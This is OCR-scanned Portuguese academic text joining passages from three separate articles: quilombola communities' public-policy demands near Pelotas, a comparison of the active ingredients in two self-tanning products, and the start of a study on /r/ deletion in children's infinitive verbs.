curam por mulheres na intersecgéo e as impactam e compactam diretamente (CRENSHAW,
2002), exemplo deste fato é a violéncia de género contra mulheres que se constitui em uma
discriminagao contra grupos especificos (p. 12). No item a seguir, iremos enfocar nas deman-

das das comunidades quilombolas.
3.1.1.3 DEMANDAS DAS COMUNIDADES QUILOMBOLAS

O Plano Brasil Quilombola prevé a consolidacao de diversas politicas de Estado inseri-
das em areas quilombolas, dentre estas politicas, estéo previstos eixos considerados priorita-
rios, quais sejam acesso a terra, infra estrutura e qualidade de vida, inclusao produtiva e desen-
volvimento local e direitos e cidadania (BRASIL, 2004; 2013). Em relagao as demais demandas
das comunidades quilombolas, as profissionais que atuaram com as mesmas identificam como
principais demandas justamente aquelas pertencentes aos eixos norteadores do Plano Brasil
Quilombola, a regularizacao da documentacao de propriedade de terra, saude, alimentacao,
educacao, atendimento socio assistencial, dentre outros:

se eu fosse pensar enquanto profissional do Servico Social, no tempo em gye
eu atendia essas familias, sdo demandas variadas, desde documentagdo,
acompanhamento médico, alimentacdo, cursos profissionalizantes, entéaq/ sdo

demandas, todas as expressdes da questao social que tem por ai, eles vém em
busca de seus direitos, s6 que poucos também sabem de seus direitos. (E1)




eu via demandas da assisténcia, entdao muitas questées de Cadastro Unico,
Bolsa Familia. Tinha alguns encaminhamentos para alguns servicos, (...) previ-
déncia social (...) atendimentos da saude, precisa de intervencéao da assisténcia
para poder dar encaminhamento né, (...) para agilizar o processo. (...) a gente
fez uma intervengdo muito forte para educacéo infantil assim. Entéo, criancas de
0 a 5 anos que ficavam, as vezes em casa, as vezes sozinhas, entdo a gente
fez todo um encaminhamento para rede de educacdo municipal.(...) 0s grupos
que eu fiz quando a gente falava assim “Ah, existem politicas publicas que
sé&o desenvolvidas especificamente para as comunidades quilombolas” e eles
“Como assim, sabe”, eles nunca tiveram contato com isso.(E2)

Através dos relatos, percebe-se a complexidade das demandas no ambito das politicas
publicas e a necessidade da intersetorialidade nas politicas sociais para poder atendé-las,
sobretudo no que se refere a real efetivacdo do Plano Brasil Quilombola nas comunidades.

As dificuldades relatadas pelas profissionais e reiteradas pelos participantes da Comunidade

quilombola Alto do Caixao, confirmam a realidade vivida por diversas comunidades quilombo-
las do pais. Falta de acesso a medicina especializada, a hospitais, dificuldades de locomocao

devido ao distanciamento no caso das comunidades rurais, sao algumas das dificuldades re-

latadas em estudos anteriores (FREITAS et a., 2011). As autoras apontam que é preciso uma
estratégia mais eficiente e mais facilmente aplicavel para combater problemas de saude como
o alcoolismo e o tabagismo por exemplo, pois a propria situacao de desemprego € a falta d
perspectiva educacional e profissional leva os jovens a aderir cedo ao vicio. A dificuldade
de acesso a escolas, postos de saude, devido a falta de transporte (poucos horérios), cjisto
e longas distancias obstaculiza o acesso aos direitos de cidadania como podemos vef nas

narrativas a seguir:



Esse nosso colégio aqui ele tem so até a 5° série, e como eles estdo regionali-
zando, a gente esta brigando com a educacao para colocar pelo menos até a
9° série aqui, porque se vai regionalizar e se até é por regiao, onde € que 0s
alunos, as criangas daqui vao estudar depois?(E8)

Precisa de trabalho, porque esta ruim, a coisa. Na volta tem servico, mas muita
gente sai daqui para trabalhar em outros lugares, para trabalhar na cidade,
porque o servigo esta meio ruim aqui.(E5)

fica meio ruim, porque tem muita gente que ndo tem condigbes de ir, porque
é longe. Tem a questdo do transporte tambem (...) muita gente depende de
o6nibus, e chega meio atrasado no posto de satde, depende para ir depende
para vir.(E5)

Daqui mesmo até o pronto socorro, se tiver uma urgéncia, sdo 55km quase. E ai
quanto tu acessa a Samu, eles te fazem um monte de perguntas e as vezes
nédo tem disponivel. Colénia, sabe como € né! E ai sempre tem que acionar
um carro particular, alguma coisa assim para poder ir, e carro particular é caro
também. (E6)

Tem, o colégio mais perto aqui s6 tem até a quarta série, que fica a 4km daqui.
Os outros s&do todos de 10km para cima. Agora mesmo, o meu guri vai para o
primeiro grau, ele vai ter que andar mais ou menos uma meédia de 25km sO
para ir.(E6)

Ah, muito dificil acessar alguma coisa. Acesso politico tivemos muita batalha
para poder chegar a essas casas, ne, tu vé que levou mais de 3 anos para,
poder acessar, entdo € complicado ainda a politica, politica publica para
quilombolas. Estava batalhando mesmo para uma patrulha agricola e até hpje
nédo conseguimos, o que faz falta. Esta fazendo falta para o pessoal, pojque
a maioria aqui tem pouca terra, s&o no maximo 1, 2, 3 hectares e ai ndoftem,
€ agricultura familiar, como diz, é s6 na base do esforco do trabalho para o
pessoal aqui. (E6).



Se dessem mais importédncia para a comunidade Quilombola e desse uma
forca para muita gente que precisa, (...)Na casa e no negdcio da alimentacao
(...)Primeiro lugar é a casa, né. Casa, alimentagao e saude.(E5)

Agua é também o que esté precisando, esta dificil, porque tem muitos. Aqui
mesmo nos temos um posto de casa, cacimba, né, que chama, tem uma
cacimba ali que abastece 5 casas, e a agua aqui € o que nos temos, e ai ndo
tem e falta para a horta, para fazer uma horta ndo tem como. Nao tem como
mesmo, tem que racionar a agua. No verdo, agora esse verdo esta chuvoso,
mas quando esta seco?(E6)

As condicoes de garantia de servigcos publicos para comunidades quilombolas, em
todo territorio nacional, sempre foi historicamente negada, devido ao seu nao reconhecimento
legal pelo Estado. Historico este que esta sendo revertido lentamente. As comunidades rurais,

como a do Alto do Caixao, enfrenta ainda dificuldades para acessar as politicas publicas,

por ser isolada (situa-se 100 km do centro de Pelotas, estrada de chao batido), sendo que a
maioria das familias vivem com um salario minimo. O Programa Brasil Quilombola conta com
uma interface com o Plano Brasil sem Miséria, devido ao fato de, segundo o “MDS, pelo menos

74,7% das familias quilombolas situarem-se abaixo da linha de extrema pobreza” (BRASIL,

2013, p.12). Algumas familias da comunidade do Alto do Caixdo acessam o Bolsa Familia,
0 que contribuiu para a permanéncia da crianca na escola. Segundo um dos entrevistados,
antes desse programa, as criangas costumavam abandonar a escola para auxiliar os pais n
trabalho da roca.

Um dos avancos conseguidos na comunidade quilombola pesquisada foi a formacao
de uma cooperativa para comercializar os seus produtos diretamente para um grande hospital

publico de Porto Alegre, o que possibilitara 0 aumento da renda da comunidade, sem a yenda
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para atravessadores, que acabam sendo os que lucram mais com as vendas. A representacao

da conquista da cooperativa pode ser identificada na fala a seguir:
s6 dizem Quilombola néo tem produgéo, mas af eu digo assim: Como € que
Quilombola vai ter produ¢do se ndo tem onde vender e nao tem terra para
plantar.... Também iria ser um detalhe, porque até pode ter um cantinho e tu
plantar uma horta, um tempero, uma coisinha assim, mas ai tu ndo consegue
vender. Tem gente muito maior, que produz mais quantidade e te tapa, e a
cooperativa vem para ti ter uma terra pequenininha onde pode plantar tempero
e a gente pode comprar o tempero e dar um lucro daquilo, ganhar daquele

pedacinho que tem, pode produzir e ganhar daquilo, e a cooperativa vem para
iSso e para dar mais assisténcia ao nosso povo (E8)

O objetivo do presente artigo foi conhecer as experiéncias sociais de integrantes de
comunidades quilombolas no ambito das politicas publicas e profissionais que atuam na area,
considerando as interseccionalidades de género, raca/etnia, classe e geracao. Para isso, tra-
cou como objetivo secundario identificar a percepgéo dos quilombolas sobre sua identidade,
as dificuldades de acesso as politicas, as demandas das comunidades quilombolas e o papel
que as mulheres e 0s mais velhos desempenham nessas comunidades.

Observou-se que todos os participantes entendem que a identidade quilombola esta
relacionada com o ser negro, descendente de escravos, mas esse termo é ressignificado e
sociado a resisténcia e luta. Essa luta e resisténcia pode ser observada nas organizacdes/for-
madas por quilombolas como a Federacao das Comunidades Quilombolas do RS que integra a
Rede Quilombola, formada por diferentes associagoes, Conselhos, Universidades e represen-

tantes de diferentes politicas publicas como saude, assisténcia social, trabalho, habitacao para




pensar coletivamente em estratégias de acesso as politicas publicas existentes para as comunidades
quilombolas do Rio Grande do Sul. Existem ainda varios desafios para as politicas publicas, mas o
reconhecimento das comunidades quilombolas € o primeiro passo. Depois, a necessidade de titula-
¢ao das terras, que € um processo mais burocratico e moroso, sendo que no RS existe somente uma
comunidade com suas terras tituladas, apesar de existirem mais de 100 comunidades quilombolas
reconhecidas como tal.
E, o movimento assim, a gente ouvia que tinha, quando entrou o governo Lula, esses
projetos para as comunidades Quilombolas. E aqui sempre foi né, uma comunidade, s6
que nunca foi reconhecida (...), foi onde nds formamos a comunidade, ai foi reconhe-
cida. Dal para frente comecou a batalha depois pelas politicas publicas, né. Porque
aqui, antes disso, ninguém conseguia acessar uma politica publica. (...)foi acessada a

luz para todos. Al s&o varias politicas que comecaram a Vvir que ai comegou a acessar
depois de ser reconhecido, né (E6)

No que se refere as relagdes de género vivenciadas nas comunidades investigadas, observou-
-se que as mulheres assumem as atividades de lavoura, roca, cuidados com os filhos, acumulando
dupla jornada de trabalho, tanto no meio rural como no urbano. As geragoes de jovens quilombolas no
meio rural buscam empregos na cidade, sendo uma das demandas maiores oportunidades de traba-

Iho para as juventudes, escolas mais proximas, maior acesso ao transporte publico, pavimentacao de

estradas, moradia, agua e saude, entre outras. Nos quilombos urbanos, a demanda é centrada em trg-
balho, renda, seguranca publica, educacao e saude. Um dos avancos foi a formagédo de uma coope-
rativa quilombola com comercializacao direta de seus produtos para a rede hospitalar. Conclui-se/que
apesar dos avancos e desafios identificados, a busca pela titulagao da terra constitui-se priorjdade

para as comunidades quilombolas, sendo o primeiro passo para o seu reconhecimento étnico-cultural.
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A intensidade de raios ultravioleta chegou ao nivel extremo e concomitantemente a
incidéncia de cancer de pele aumentou, principalmente no Brasil, nos Gltimos anos. A
mulher brasileira preza pelo seu bronzeado, o que muitas vezes pode provocar danos a
sua salde. Os autobronzeadores sao formulacdes que permitem o bronzeado sem expor
a pele a radiacao ultravioleta, pois originam pigmentos marrons quando em contato com
a pele. Nesse contexto o presente trabalho teve como objetivo realizar a comparacao
entre produtos autobronzeadores verificando se os principios ativos possuem comprova-
¢do cientifica e a partir disso, verificar se o apelo do fabricante é condizente com a cons-
tituicdo do produto. Foram listados os ativos presentes nas formulacoes e em literatura
apropriada buscou-se informacdo a respeito da funcionalidade de cada um dos ativos. A
melhor escolha é a formulacdo A em virtude da presenca dos ativos - (dihidroxiacetona
(DHA) e eritrulose - que permitem a formacao de melanoidinas.

Palavras-chave: Autobronzeadores. DHA. Eritrulose

BSTRAC

The incidence of ultraviolet radiation reaches high levels and the skin cancer incidence
increased recently in Brazil. Brazilian women focus on their tanning and sometimes
this attitude can affect their health. Sun tan lotions are products that allow the tanning
process without skin exposure to the ultraviolet radiation, because they originate brown
pigments when in touch with the skin. In this context, this article aimed to compare
two products verifying whether its active compounds have scientific relevance and from
this comparison conclude if its action assent with the actives in the product. The active
compounds were listed in the formulations and the information about each component
was searched in scientific literature. The best sun tan solution is formulation A due to the
presence of DHA and erythrulose - responsible by the melanoidins formation.
Keywords: Self-tanners. DHA. Erythrulose.




INTRODUCAO

No século XIX evitava-se a exposicao ao sol e utilizava-se como meio de protecao aces-
sorios e roupas aliados ao estilo de vida da época. Dessa maneira, a pele alva era sinbnimo
de beleza enquanto a negra era estigmatizada. Como prova disso, uma das criagcdes de maior
sucesso da época foram os pés de arroz de Helena Rubinstein (FITOUSSI, 2013).

O padrao de beleza iniciou sua mudanga quando a estilista Coco Chanel apareceu
com sua pele bronzeada, isto fez com que o bronzeado passasse a ser simbolo de beleza e de
saude (MACEDO apud Spindola, 2001).

Nos dias de hoje, uma pele bronzeada representa um estilo de vida saudavel e dinami-
co. Entretanto, o bronzeado natural, produzido pelos raios ultravioleta (UV), acelera o processo
de envelhecimento cuténeo e a formacao de rugas, sem mencionar o cancer de pele, também
ocasionado pelas radiagdes UV (MATHEUS; KUREBAYASHI, 2002; VANZIN; CAMARGO, 2011;
COSTA, 2012). O aumento dos casos de cancer é crescente e corresponde a 25% de todas as
neoplasias malignas registradas no Brasil, sendo o cancer mais frequente. Em 2013 o numero
de o6bitos foi de 1559 e a estimativa de novos casos em 2016 € de 5670 (INCA, 2016).

Para manter a pele bronzeada sem necessidade de exposicao a radiacao solar, e sem
0 uso de camaras de bronzeamento, podem ser utilizadas formulagdes autobronzeadoras. Tais

formulacdes atuam através da pigmentacao superficial da pele devido a DHA ou eritrulose

que reagem quimicamente com a epiderme — Reacao de Maillard ou escurecimento nao ep-
zimatico — gerando melanoidinas (pigmento castanho que da o aspecto de bronzeado). Estao
disponiveis para o consumo diversas formulagoes com tal fungdo. No entanto, nem todas que

se denominam “autobronzeadoras” possuem em sua constituicao os ativos mencionados, e




2 METODOLOGIA

muitas vezes, as formulacdes atuam acelerando o bronzeado com ativos que estimulam a me-
lanogénese (como a tirosina e a tirosinase) (VANZIN; CAMARGO, 2009; RIBEIRO, 2010).
Nesse contexto o objetivo do presente trabalho foi realizar uma comparacao entre dois
produtos autobronzeadores, avaliando seus principios ativos e buscando comprovacéo cienti-
fica acerca dos ativos presentes nas formulacoes, e a partir disso, verificar se o apelo comer-
cial é condizente com a constituicao do produto. Este trabalho académico foi desenvolvido
no componente curricular Cosmética |, ministrado pela professora Simone Gasparin Verza, no
curso Superior de Tecnologia em Estética e Cosmética da Universidade Feevale, no segundo
semestre do ano de 2014. Posteriormente, o trabalho foi apresentado na Feira de Iniciagao

Cientifica Inovamundi em 2015/2, da Universidade em questao.

Para a realizagao desse trabalho foram escolhidos dois produtos autobronzeadores de
duas marcas diferentes (A e B). Foram listados os ingredientes presentes nas formulagoes e,
em literatura apropriada, buscou-se informagao a respeito da funcionalidade de cada um dos
constituintes. A pesquisa bibliografica foi realizada em dicionarios cosméticos e site do INCI
(International Nomenclature of Cosmetic Ingredients). A verificagdo da comprovacao cientifica
da funcionalidade dos principios ativos foi realizada em bases de dados como Google Acadg-

mico, Scielo, ScienceDirect, sem restricao de data.




RESULTADOS E
ISCUSSAO

A formulacao A, escolhida para a realizacao desse trabalho, apresenta em sua consti-

tuicao quatro principios ativos, listados na tabela 1, segundo nomenclatura do INCI.

Tabela 1 — Principios ativos da Formulagéo A

Formulacdo A

1 Dihydroxyacetone (DHA)

2 Aloe barbadensis extract
3 Panthenol
4 Erythulose

Fonte: Roétulo da formulagao analisada, 2014.

No apelo comercial o fabricante afirma que o produto garante uma aplicacao facil e um
bronzeado sem sol uniforme e com resultado visivel a partir de 3 horas. E incolor e de seca-
gem ultrarrapida (3 minutos), por isso ndo mancha nem suja os tecidos e pode ser aplicado a
qualquer hora do dia.

Para os ativos presentes no produto foi encontrada comprovagao cientifica de ativida-

de. O extrato de Aloe barbadensis encontra-se presente na formulagéo em funcéo de suas pro-

priedades anti-inflamatoria e cicatrizante, caracteristicas geralmente necessarias em produt
aplicados apos a exposicao solar (GOMES; DAMAZIO, 2009; RIBEIRO, 2010). Muitas vez
populagao utiliza produtos autobronzeadores e realiza a exposigao ao sol de forma congomi-
tante, com o intuito de acelerar e incrementar o bronzeado, o que explica a presenga do extrato

em questao na formulagao.




DHA (dihidroxiacetona) e eritrulose s&o ativos cosméticos utilizados em formulacoes
autobronzeadoras devido a reagdo quimica que provocam quando em contato com a pele,
o que leva a formagéo do pigmento castanho (SPINDOLA, et al; 2009). Nesse tipo de rea-
¢ao, acucares redutores reagem com 0s aminoacidos, proteinas e peptideos, formando va-
rios compostos intermediarios que se polimerizam e convertem-se em melanoidinas, pigmento
castanho (RIBEIRO, 2010). A reagdo da DHA com os grupos aminados dos aminoacidos da
pele da-se através de ligacbes covalentes, portanto, dificeis de serem removidas. Os pelos,
incluindo supercilios e cabelos, e as unhas também sao pigmentados pela DHA (SPINDOLA,
et al; 2009; RIBEIRO, 2010).

O pantenol, ou d-pantenol € uma vitamina do complexo B que ao ser aplicada topica-
mente é convertida em acido pantoténico, componente da coenzima A, cuja deficiéncia causa
despigmentacdo e descamacao da pele (RIBEIRO, 2010), sendo sua agao hidratante muito
conhecida (GOMES; DAMAZIO, 2009; RIBEIRO, 2010; VANZIN; CAMARGO, 2011; COSTA,
2012). Ainda sob esse aspecto, CAMARGO JUNIOR (2006) realizou o desenvolvimento de oito
formulagdes cosméticas contendo diferentes concentragdes de pantenol em diversos veiculos
e observou o potente mecanismo de hidratagao do ativo.

Em produtos autobronzeadores ¢ muito comum a desidratacdo da pele, em funcao da
presenca de DHA e eritrulose, além disso, a hidratagao da pele pode interferir na formacao
das melanoidinas (RIBEIRO, 2010), o que justifica a insergéo de ativos hidratantes em prodytos
autobronzeadores.

A formulacao B, também selecionada para a realizacéo desse trabalho apresenfa em

sua constituicao oito ativos, listados na tabela 2, de acordo com a nomenclatura do INCI.




umario

Segundo o fabricante o produto consiste em uma emulsao cremosa leve e refrescante
que promove um bronzeamento mais rapido, seguro e de efeito prolongado, para peles pouco
sensiveis ao sol. Destinado para o corpo e rosto e apresenta fator de protegéo solar (FPS) 4.

O trifosfato de adenosina (ATP) & uma substancia sinérgica na ampliagcdo da atividade da

enzima tirosinase, responsavel pela sintese de melanina (SGARBI et al, 2007; RIBEIRO, 2010).

Tabela 2 — Constituintes da Formulagéo B

Formulagéo B

1 Adenosine Triphosphate
2 Acetyl Tirosine
3 Aloe barbadensis extract

Daucus carota extract
Tocopheryl Acetate
Rutin

Hedera helix extract
Allantoin

® N O O b

Fonte: Rétulo da formulagéo analisada, 2014.

A tirosina, acethyltirosine, segundo nomenclatura do INCI, € o substrato da enzima ti-
rosinase no processo de melanogénese, assim sua presenca na formulagcao em questao vis
estimular a sintese de melanina, além de prolongar seu efeito (ROCHA & MOREIRA, 2007).

O extrato de D. carota, cenoura, apresenta propriedades antioxidantes segundo/es-
tudos realizados (STANGE, et al., 2008; SUN,et al 2009), além de contribuir para a coloracao
superficial da pele (RIBEIRO, 2010).




4 CONCLUSAO

Outro ativo presente na formulacéao, o tocoferol — mais conhecido como vitamina E — &
lipossoluvel, obtido de 6leos vegetais e atua contra os radicais livres, como antioxidante em for-
mulagdes farmacéuticas e cosméticas (CHORILLI et al, 2008). Dessa forma, diminui os efeitos
da radiacéo UV na pele e diminui o envelhecimento cutéaneo, uma vez que a principal teoria de
envelhecimento é atribuida a formagéo de radicais livres (COSTA, 2012).

O extrato de Hedera helix, também presente na formulagao B, apresenta em sua cons-
tituicao saponinas as quais alteram a permeabilidade capilar e, por conseguinte, reabsorvem
edemas de acordo com estudo realizado por Cunha et al (2006).

A formulacéo B apresenta como ativo ainda a alantoina, cicatrizante, muito utilizado em
produtos cosmeticos. Com propriedades cicatrizantes esta presente também na formulacao B

o0 extrato de Aloe barbadensis (GOMES; DAMAZIO, 2009; VANZIN; CAMARGO, 2011).

Os produtos autobronzeadores tém conquistado espago no mercado de produtos cos-
méticos uma vez que proporcionam o bronzeado sem a agao dos raios ultravioleta. A maior
parte desses produtos atua a partir da DHA ou eritrulose, que através da Reagao de Maillard
originam um pigmento castanho (SPINDOLA, et al; 2009; RIBEIRO, 2010).

Os produtos selecionados para a realizacao do trabalho sdo comercializados com©
autobronzeadores, entretanto, apresentam em sua constituicao ativos distintos. A formulagao
A, possui versdo do produto para utilizacao home care e kits para aplicagédo profissional. Em

sua composicao estao presentes, DHA e eritrulose, ativos que proporcionam a formacao de




Sumario

melanoidinas, com efeito autobronzeador. Ja a formulagéo B, disponibilizada para uso home
care, € um acelerador de bronzeado e nao um produto autobronzeador propriamente dito uma

vez que nao possui em sua constituicao DHA e/ou eritrulose.
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A variacao linguistica ainda é vista, inclusive por professores de portugués, como erro, embora seja um fenomeno
antigo e esteja presente em todos os estratos sociais. Nesse contexto, insere-se o apagamento do fonema /r/
no final dos verbos no infinitivo, como em <v6 fazé> no lugar de “vou fazer”. Por isso, este trabalho teve como
objetivo investigar esse fenomeno na fala de 18 criancas do 1°, 3° e 5° ano do Ensino Fundamental de uma escola
privada de Novo Hamburgo, 9 de cada sexo e 6 por ano escolar, para verificar se, de fato, existe uma tendéncia
para esse apagamento. Buscou-se também verificar se as varidveis sociais (sexo e escolaridade) e as linguisticas
(contexto precedente e contexto sequinte) influenciam a fala das criancas. Para a coleta de dados, solicitou-se as
criancas que contassem uma histdria a partir do livro “Frog, where are you?”, de Mercer Mayer. Dessas interacdes,
foram recortados todos os verbos no infinitivo, que foram codificados e analisados de acordo com as varidveis
3 serem investigadas. A andlise da amostra revelou que dos 558 coletados houve apagamento em 553, 0 que
equivale a 99,1%. Quanto as varidveis linguisticas e sociais, nenhuma mostrou-se relevante para o fenomeno.
Palavras-chave: Variacdo linguistica. Varidveis linguisticas. Varidveis sociais.

ABSTRACT

The linguistic variation is still seen by many people, including teachers of the Portuguese language, as a mistake
- even though it is an old phenomenon in the Brazilian Portuguese speech, present in all social classes. In this
context it is found the erasing of the phoneme /r/ at the end of the verbs, such as <vo fazé> in place of “vou
fazer”. Regarding that, this work had as objective the investigation of the use of the /r/ at the end of verbs in
the infinitive form, in spontaneous speech of 18 children from 1°, 3° and 5° year of middle school, from a private
school at the city of Novo Hamburgo - 9 children of each gender and 6 of each school year, in order to verify
if there was, in fact, a tendency, increasingly more often, to erase the /r/. The study also intended to verify in
which measure the social variables (gender and education) and the linguistic variables (type of verb - 12, 2% or
3° - conjugation and the context which follows it) influence the speaking of children. To collect the data of their
speech, it was asked the children to tell the story of the book “Frog, where are you”, by Mercer Mayer. From their
enunciation, it was identified all of the verbs that were in the infinitive form, which were then codified according
to the variables to be investigated. The analysis of the data revealed that, in 558 verbs identified, 553 of them
presented the erasing of the /r/, or 99,1% of data. Concerning the linquistic and social variables analyzed, none
of them showed to be relevant to the occurrence of the phenomenon.

Keywords: Linquistic variation. Linquistic variables. Social variables.




CONSIDERACOES
NICIAIS

Basta termos contato com pessoas residentes em outros estados ou em outras regioes
do Brasil ou mesmo assistirmos a programas de TV ou a novelas brasileiras para percebermos
como o portugués varia. Um carioca, por exemplo, que conhece a torrada como uma simples
fatia de pao assada, provavelmente se admiraria ao solicitar uma em uma padaria gaucha
e receber um generoso sanduiche com margarina, presunto e queijo (em alguns cardapios,
inclusive com alface, tomate e ovo) prensado. “Ora essa, ele pensaria, isso ndo é uma torrada,
mas um misto quente!” O mesmo estranhamento é produzido pelas palavras mexerica e ber-
gamota; aipim, mandioca e macaxeira. Essas sdo simplesmente formas distintas de referir-se
a um mesmo alimento.

Mas as mudancas nao ocorrem apenas de um estado para o outro. Elas se dao também

dentro de uma mesma comunidade de fala. Em todas as comunidades existem formas em

variagao, isto €, modos distintos para se referir a uma mesma coisa. Essas formas em variagcao
sao denominadas “variantes linguisticas”, de acordo com Tarallo (2001) e todas tém o mesmo
valor de verdade e representam o mesmo conceito para aquilo a que se referem.

Considerando essa heterogeneidade na fala, € que se definiu o objeto de estudo desta

pesquisa, cuja base tedrica esta nos pressupostos tedrico-metodologicos da Sociolinguistica
Variacionista, que possui como grande expoente William Labov. Nesse contexto, esta pesquisa
objetiva investigar a fala espontanea de 18 criancas do 1°, 3° e 5° ano do Ensino Fundamep-
tal de uma escola privada de Novo Hamburgo, 9 de cada sexo e 6 por ano escolar, a fi
identificar se ha, na fala dessas criangas, uma tendéncia ao apagamento do fonema /r/ no/final
de verbos no infinitivo, como em <pega> no lugar de “pegar”, ou <fazé> no lugar de “fazer”.

Busca-se também verificar em que medida fatores linguisticos, como o contexto vocalico pre-



cedente ao segmento em foco e o contexto seguinte, e fatores extralinguisticos (sociais), como
sexo e escolaridade, influenciam esse apagamento. Dessa forma, sera possivel responder
quem costuma apagar mais o fonema /r/ nos verbos no infinitivo: os meninos ou as meninas?
Os alunos alfabetizados ou os nao alfabetizados? E em quais verbos esse apagamento é mais
frequente: nos da 12, da 22 ou da 3% conjugacao? O que mais influencia o apagamento: o con-
texto seguinte ou a auséncia dele?

Para a realizacao desta investigacao, partiu-se da hipotese geral de que 0 apagamento
do fonema /r/ pds-vocalico nos verbos no infinitivo € crescente e majoritario, pois, conforme
Costa (2013, p. 1), que investigou estudantes de 22 a 42 série do Ensino Fundamental de uma
escola publica da cidade de Catu (BA),as pesquisas de cunho sociolinguistico que trataram
da realizacao variavel do /r/ demonstraram que em posigao final de vocabulo, o zero fonético
€ uma das variantes mais produtivas para o rético, acontecendo majoritariamente em todas as
regides pesquisadas e sem marca de classe social.

Acredita-se também, tomando como base ainda a pesquisa de Costa (2013), que a
aplicacao da regra de apagamento do fonema /r/ seja mais frequente entre as criangcas com
menor grau de escolaridade e entre as do sexo masculino, uma vez que o fator sexo masculino,
com peso relativo 0,65, mostrou favoravel ao apagamento, enquanto o fator sexo feminino, com
peso relativo 0,35, revelou-se pouco favoravel.

No que diz respeito as variaveis linguisticas, pressupdem-se, ainda a partir de Cgsta
(2013), que o contexto vocalico precedente favorecedor do apagamento do fonema /r/ nos
verbos no infinitivo seja a vogal “i”, que obteve peso relativo 0,64 na referida pesquisa. Ua no

que tange ao contexto seguinte ao segmento em foco, acredita-se que o fator menos favoravel




2 A VARIACAO
LINGUISTICA

ao apagamento seja a consoante. Essa hipotese esta baseada em estudo realizado por Dias
(2003), a qual investigou criangas em processo de aquisicao da linguagem em Santa Catarina,
que identificou a consoante como o Unico contexto em que o fonema foi mantido.

O presente estudo justifica-se porque muitas pessoas, inclusive professores, acreditam
que se deve falar como se escreve. Isso, contudo, nao € totalmente verdadeiro, ja que cada
uma das modalidades da lingua possui regras especificas para seu uso. E a fala, apesar de,
aparentemente, ser o espaco do caos para alguns possui regras muito claras, mesmo quando
parece nao haver regras. Nessa perspectiva, este trabalho, ao mostrar quais sao as regras de
aplicacao do apagamento do fonema /r/ contribui para esclarecer as pessoas sobre o funcio-

namento de um dos aspectos da lingua portuguesa e, assim, diminuir o preconceito linguistico.

Sao observaveis, no portugués brasileiro, doravante PB, mudancas decorrentes de di-
versos fatores, tanto linguisticos quanto nao linguisticos, assim como ocorre também em ou-
tras linguas. Certos componentes das linguas apresentam maiores possiblidades de variacao,
como € o caso do apagamento do fonema /r/ no infinitivo dos verbos em PB, que € um fend-
meno antigo. Ha registros desse apagamento no portugués datados do século XVI nas pecas
de Gil Vicente, nas quais ele era utilizado para a representacao da lingua dos incultos e dg's
escravos, como afirmam Callou, Morais e Leite (1998).

De acordo com estudos mais atuais na area da variagao linguistica, esse apaganjento
Da

nao apresenta ser, contudo, um fendbmeno que se atribui a classes sociais mais baixas.

mesma forma como nao se faz presente apenas no PB, pois aparece também no portugués de




Portugal. Segundo Oliveira (1981), o apagamento do fonema /r/ pode ser historicamente obser-
vavel em linguas como o francés, em que ocorreu em quase todas as palavras terminadas em
“r", permanecendo apenas em monossilabos, como, por exemplo, em “noir” e “air”, bem como

na passagem do latim vulgar para o portugués, como em <persona> para “pessoa”’. Pode-se

dizer, assim, que esse € um fenbmeno caracteristico das linguas romanicas.

Tal modificacao pode ser resultado da posicao em que o fonema /r/ se encontra, ja que
0 apagamento é mais produzido em final de silabas ou de palavras, principalmente, em verbos
no infinitivo. De acordo com Tessier (1976), o apagamento do fonema /r/ iniciou-se em verbos,
especificamente, no infinitivo e, s6 apos, tal mudanga estendeu-se para as demais classes de
palavras. Conforme Monaretto (2002, p.253), a queda da vibrante final no portugués falado no

Brasil foi registrada no fim do século XIX, sendo censurada pelos gramaticos e nos dias atuais,

a tendéncia a supressao da vibrante final ocorre em todos os dialetos do portugués brasileiro,
sendo mais frequente nos verbos.
Celso Ferrarezi Junior (2014) afirma que a forma mais simples de explicar o que € um

verbo é dizer que ele é a Unica palavra capaz de se modificar e de ser flexionada para expres-

sar mudancas em relacdo ao tempo. E verdade que ha outras palavras que podem expressar
tal ideia, mas nenhuma delas ¢ modificada (permanece a mesma) para dar sentido de passa-
do, presente e futuro, como, por exemplo: pulei, pulo, pularei. O verbo também nunca varia e
género (masculino e feminino), caracteristica apenas das palavras nominais.

No PB, ocorrem trés tipos de constru¢coes morficas verbais: simples, locugdes e expres-
soes. Os verbos simples sao 0s que aparecem sob a forma de uma palavra s6, como cantou,

falei, queria. As locucdes verbais aparecem sob a forma de duas palavras (ambas verbos),




funcionando como uma sé: vou cantar, havia feito. Nesses casos, apenas o verbo auxiliar (o
primeiro, com maior sentido temporal) é flexionado e o segundo (verbo principal, com funcao
semantica mais estabelecida) permanece fixo. As expressées também sado jungbes de duas

palavras, porém uma deles n&o é verbal.

Nesta pesquisa, foi dada especial atengao as locugdes de modo temporal futuro, pois €
nelas que aparece o infinitivo (vai fazer, vou subir), foco deste estudo. Entende-se por infinitivo
o verbo em seu estado natural, terminando em ar, er, ir ou or, como em cantar, vender, partir e
pdr, ou seja, sem nenhum tipo de conjugacao pronominal. E justamente o “r’ final que caracte-

riza o infinitivo, chamado também de “nome do verbo” (infinitivo impessoal).

3 PERCU RSO O presente trabalho € orientado pelos pressupostos tedricos da Teoria da Variacao,
METODOLOGICO cujo precursor € William Labov. Embora a Sociolinguistica ofereca outros modelos tedricos mo-
deladores e que possam servir de alicerce para pesquisas relacionadas a descricao da lingua

em uso, bem como para 0s processos de mudanca pelos quais ela passa, a escolha pela teoria

laboviana justifica-se por ser considerada, em termos cientificos, coerente e metodologica.
Isto posto, apresenta-se, a seguir, a metodologia utilizada para a realizacéo da pesqui-
sa, de acordo com a orientagao indicada. Para tanto, inicialmente, descreve-se brevemenje
a cidade de Novo Hamburgo e o bairro Hamburgo Velho, local onde se deu a pesquisa.
seguida, ha a descricao dos informantes, do instrumento de pesquisa selecionado e da forma
como a coleta de dados se deu. E, finalmente, sdo apresentadas as variaveis linguisticas e

sociais consideradas para o desenvolvimento da pesquisa.




3.1 LOCAL ONDE A PESQUISA FOI REALIZADA

Novo Hamburgo foi inicialmente povoada por imigrantes alemaes e, posteriormente,

também por italianos. Com o objetivo de trabalhar e prosperar por meio dos mais variados

oficios, em busca de vida nova, os imigrantes, aos poucos, comegaram a formar um povoado
a partir de 1824, que passou a se chamar Hamburger-Berg (que significa Morro dos Hambur-
guenses). A regido era propicia, pois por ela passavam estradas que ligavam a Porto Alegre,
sendo passagem obrigatéria para muitos que se dirigiam a capital. Em 1876, foi construida a
primeira estrada de ferro, favorecendo ainda mais o crescimento comercial. A concretizagao da
